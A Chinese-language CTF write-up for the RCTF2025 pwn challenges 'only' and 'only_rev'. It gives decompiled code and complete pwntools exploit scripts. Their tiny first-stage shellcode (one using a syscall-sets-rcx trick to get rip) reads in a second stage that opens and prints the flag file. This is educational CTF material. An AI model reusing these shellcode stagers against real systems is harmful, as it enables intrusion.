0x00
打了 RCTF2025,放下wp再复现几题
0x01 only
经过逆向发现堆部分以及其他部分没有什么洞,但是可以写shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| unsigned __int64 backdoor() { _QWORD *addr_1; int n2; int i; __int64 *v4; unsigned __int64 v5; void *addr; unsigned __int64 v7; __int64 savedregs;
v7 = __readfsqword(0x28u); if ( byte_4068 ) { puts("You've got help"); } else { byte_4068 = 1; puts("maybe you need some help..."); for ( i = 0; i <= 5; ++i ) { putchar(46); usleep(0x30D40u); } printf("\n1.run your code\n2.get a gift\nMake a choice:"); __isoc23_scanf("%d", &n2); if ( n2 == 1 ) { addr = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL); if ( addr == (void *)-1LL ) { perror("mmap failed"); } else { addr_1 = addr; *(_QWORD *)addr = 0x3148DB3148C03148LL; addr_1[1] = 0x48FF3148D23148C9LL; addr_1[2] = 0xC9314DC0314DF631LL; addr_1[3] = 0x314DDB314DD2314DLL; *(_QWORD *)((char *)addr_1 + 26) = 0x4DE4314DDB314DD2LL; *(_QWORD *)((char *)addr_1 + 34) = 0xFF314DF6314DED31LL; printf("your code:"); read(0, (char *)addr + 42, 0xAuLL); ((void (*)(void))addr)(); munmap(addr, 0x1000uLL); puts("run success"); } } else if ( n2 == 2 ) { v4 = &savedregs; v5 = v7; printf("your gift: %lx\n", v7); } } return v7 - __readfsqword(0x28u); }
|
应该就是对shellcode的考察了
10 字节,除了 rsp 和rbp以外通用寄存器全清空,调试可以发现栈上有mmap地址留存,直接二次读即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107
| from pwn import *
context(os='linux', arch='amd64', log_level='debug')
filename = "pwn_patched" libcname = "/home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6" host = "101.245.98.115" port = 26100 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b main set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6-dbg_2.39-0ubuntu8.6_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/glibc-source_2.39-0ubuntu8.6_all/usr/src/glibc/glibc-2.39 '''
def start(): if args.P: return process(elf.path) elif args.R: return remote(host, port) else: return gdb.debug(elf.path, gdbscript = gs)
io = start()
def note(): io.recvuntil(b'3.exit') io.send(b'1\n')
def outnote(): io.recvuntil(b'5.back') io.send(b'5\n')
def add(size): io.recvuntil(b'5.back') io.send(b'1\n') io.recvuntil(b'size:') io.send(str(size).encode() + b'\n')
def free(): io.recvuntil(b'5.back') io.send(b'2\n')
def save(data): io.recvuntil(b'5.back') io.send(b'3\n') io.recvuntil(b'filename: ') io.send(data)
def edit(data): io.recvuntil(b'5.back') io.send(b'4\n') io.recvuntil(b'content: ') io.send(data)
def backdoor(ch): io.recvuntil(b'3.exit') io.send(b'2\n') io.recvuntil(b'input:') target = 0xD0E0A0D0B0E0E0F d_val = struct.unpack('d', struct.pack('Q', target))[0] io.send(str(d_val).encode() + b'\n') io.recvuntil(b'Make a choice:') io.send(str(ch).encode() + b'\n')
backdoor(1)
shellcode = asm(''' mov dl, 0xff mov rsi, [rsp+0x28] syscall ''') log.info("length: "+hex(len(shellcode))) io.recvuntil(b'your code:') io.send(shellcode)
shellcode = asm(''' mov rdx, 0x200 push 0x67616c66 mov rdi,rsp xor esi,esi mov eax,2 syscall mov edi,eax mov rsi,rsp xor eax,eax syscall xor edi,2 mov eax,edi syscall ''') shellcode = shellcode.rjust(0xff, b'\x90') io.send(shellcode)
io.interactive()
|
0x02 only_rev
和 only 基本一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| unsigned __int64 backdoor() { _QWORD *addr_1; _QWORD *v1; int n2; int i; int v5; __int64 *v6; unsigned __int64 v7; void *addr; unsigned __int64 v9; __int64 savedregs;
v9 = __readfsqword(0x28u); if ( byte_4068 ) { puts("You've got help"); } else { byte_4068 = 1; puts("maybe you need some help..."); for ( i = 0; i <= 5; ++i ) { putchar(46); usleep(0x30D40u); } printf("\n1.run your code\n2.get a gift\nMake a choice:"); __isoc23_scanf("%d", &n2); if ( n2 == 1 ) { addr = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL); if ( addr == (void *)-1LL ) { perror("mmap failed"); } else { addr_1 = addr; *(_QWORD *)addr = 0x3148DB3148C03148LL; addr_1[1] = 0x48FF3148D23148C9LL; addr_1[2] = 0xC9314DC0314DF631LL; addr_1[3] = 0x314DDB314DD2314DLL; addr_1[4] = 0x4DF6314DED314DE4LL; addr_1[5] = 0x345678C48148FF31LL; addr_1[6] = 0x12345678C5814812LL; printf("your code:"); v5 = read(0, (char *)addr + 56, 9uLL); v1 = (char *)addr + v5 + 56; *v1 = 0x4812345678EC8148LL; *(_QWORD *)((char *)v1 + 7) = 0xC312345678ED8148LL; ((void (*)(void))addr)(); munmap(addr, 0x1000uLL); puts("run success"); } } else if ( n2 == 2 ) { v6 = &savedregs; v7 = v9; printf("your gift: %lx\n", v9); } } return v9 - __readfsqword(0x28u); }
|
9 字节,除了 rsp 和rbp以外通用寄存器全清空, rsp 和rbp也被破坏,无法进行对栈的操作
还是二次读的思路:获取rip有两个思路:
lea reg, [rip+offset] – 长度 7 字节:offset 为 0 也仍然是7字节
call next; next: pop reg – 长度 6 字节
这里长度卡的比较死,无法操作栈,如果使用lea的话长度又不够;于是有一个 trick(比赛的时候没想到):syscall在切换到内核态之前会把用户态的下一条指令地址存储到rcx寄存器,而在通用寄存器全为 0 的情况下,syscall相当于read(0, NULL, 0);,什么都不干,但是会把用户态的下一条指令地址存储到rcx寄存器,这样我们就可以仅仅 2 字节获取rip,后续即可二次读
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120
| from pwn import *
context(os='linux', arch='amd64', log_level='debug')
filename = "pwn_patched" libcname = "/home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6" host = "127.0.0.1" port = 1337 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b *$rebase(0x1a79) set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6-dbg_2.39-0ubuntu8.6_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/glibc-source_2.39-0ubuntu8.6_all/usr/src/glibc/glibc-2.39 '''
def start(): if args.P: return process(elf.path) elif args.R: return remote(host, port) else: return gdb.debug(elf.path, gdbscript = gs)
io = start()
def note(): io.recvuntil(b'3.exit') io.send(b'1\n')
def outnote(): io.recvuntil(b'5.back') io.send(b'5\n')
def add(size): io.recvuntil(b'5.back') io.send(b'1\n') io.recvuntil(b'size:') io.send(str(size).encode() + b'\n')
def free(): io.recvuntil(b'5.back') io.send(b'2\n')
def save(data): io.recvuntil(b'5.back') io.send(b'3\n') io.recvuntil(b'filename: ') io.send(data)
def edit(data): io.recvuntil(b'5.back') io.send(b'4\n') io.recvuntil(b'content: ') io.send(data)
def backdoor(ch): io.recvuntil(b'3.exit') io.send(b'2\n') io.recvuntil(b'input:') target = 0xD0E0A0D0B0E0E0F d_val = struct.unpack('d', struct.pack('Q', target))[0] io.send(str(d_val).encode() + b'\n') io.recvuntil(b'Make a choice:') io.send(str(ch).encode() + b'\n')
backdoor(1)
shellcode = asm(''' syscall mov rsi, rcx mov dl, 0xff syscall ''') log.info("length: "+hex(len(shellcode))) io.recvuntil(b'your code:') io.send(shellcode)
shellcode = asm(''' sub rsp, 0x12345678 sub rbp, 0x12345678 mov rdx, 0x200 push 0x67616c66 mov rdi,rsp xor esi,esi mov eax,2 syscall mov edi,eax mov rsi,rsp xor eax,eax syscall xor edi,2 mov eax,edi syscall ''') shellcode = shellcode.rjust(0xff, b'\x90') io.send(shellcode)
io.interactive()
|
0x03 rd
条件竞争 #todo
0x04 mstr
python pwn #todo